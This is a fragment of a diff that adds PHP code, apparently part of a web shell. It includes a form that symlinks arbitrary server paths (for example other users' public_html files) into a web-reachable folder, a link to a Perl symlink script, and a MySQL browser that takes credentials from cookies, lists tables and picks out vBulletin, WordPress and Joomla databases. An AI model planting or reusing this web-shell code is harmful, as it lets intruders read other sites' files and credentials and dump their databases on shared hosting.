+@chmod('sa2/perl.pl',0755);
  903
+
  904
+
  905
+}
  906
+
  907
+echo "<a href='sa2/perl.pl' target='_blank'>Symlink Perl</a>";
  908
+}
  909
+
  910
+
  911
+break;
  912
+
  913
+
  914
+}
  915
+/// home ///
  916
+}
  917
+}
  918
+else
  919
+{
  920
+
  921
+echo '
  922
+The file path to symlink
  923
+
  924
+<br /><br />
  925
+<form method="post">
  926
+<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  927
+<input type="text" name="symfile" value="sa.txt" size="60"/><br /><br />
  928
+<input type="submit" value="symlink" name="symlink" /> <br /><br />
  929
+
  930
+
  931
+
  932
+</form>
  933
+';
  934
+
  935
+
  936
+$pfile = $_POST['file'];
  937
+$symfile = $_POST['symfile'];
  938
+$symlink = $_POST['symlink'];
  939
+
  940
+if ($symlink)
  941
+{
  942
+
  943
+@symlink("$pfile","sym/$symfile");
  944
+
  945
+echo '<br /><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a>';
  946
+exit;
  947
+}else {exit;}
  948
+
  949
+
  950
+
  951
+
  952
+}
  953
+
  954
+
  955
+
  956
+break;
  957
+
  958
+
  959
+
  960
+//////////////////////// mysql ///////////////////////////////////////////////////////////////////////////////
  961
+
  962
+
  963
+case 'ms':
  964
+
  965
+
  966
+
  967
+
  968
+$host = $_POST['host'];
  969
+$user = $_POST['user'];
  970
+$pass = $_POST['pass'];
  971
+$db = $_POST['db'];
  972
+
  973
+
  974
+
  975
+
  976
+
  977
+
  978
+////////////////// HEEEEEEEEEEEEERE  /////////////////////////////////////////////// HEEEEEEEEEEEEERE  /////////////////////////////
  979
+
  980
+if ($_GET['show'] == 'tb'){
  981
+
  982
+$host_c =  $_COOKIE['host_mysql'];
  983
+$user_c =  $_COOKIE['user_mysql'];
  984
+$pass_c =  $_COOKIE['pass_mysql'];
  985
+$db_c   =  $_COOKIE['db_mysql'];
  986
+
  987
+
  988
+$con = @mysql_connect($host_c,$user_c,$pass_c);
  989
+$sel = @mysql_select_db($db_c);
  990
+
  991
+
  992
+if(!$sel){ echo "mysql connect error" ; exit;}
  993
+
  994
+$dbname = $db_c;
  995
+
  996
+$pTable =  mysql_list_tables( $dbname ) ;
  997
+
  998
+$num = mysql_num_rows( $pTable );
  999
+
  1000
+echo "<div class='tmp'>
  1001
+<table align='center' width='40%'><td> Tables </td><td> Rows </td>";
  1002
+
  1003
+for( $i = 0; $i < $num; $i++ ) {
  1004
+
  1005
+
  1006
+    $tablename = mysql_tablename( $pTable, $i );
  1007
+
  1008
+    $sq3l=mysql_query("select  * from $tablename");
  1009
+
  1010
+    $c3t=mysql_num_rows($sq3l);
  1011
+
  1012
+    echo "
  1013
+
  1014
+    <tr>
  1015
+
  1016
+<td>
  1017
+<div class='dom'><a  href='$pg?sws=ms&show=cl&tb=$tablename'  />".$tablename." </a> </div>
  1018
+</td>
  1019
+
  1020
+
  1021
+<td>
  1022
+".$c3t."
  1023
+</td>
  1024
+
  1025
+</tr>
  1026
+
  1027
+    ";
  1028
+
  1029
+
  1030
+
  1031
+
  1032
+if ($tablename == 'template')  { $secript = 'vb'; }
  1033
+
  1034
+else if ($tablename == 'wp_post') {$secript = 'wp';}
  1035
+
  1036
+else if ($tablename == 'jos_users') {$secript = 'jm';}
  1037
+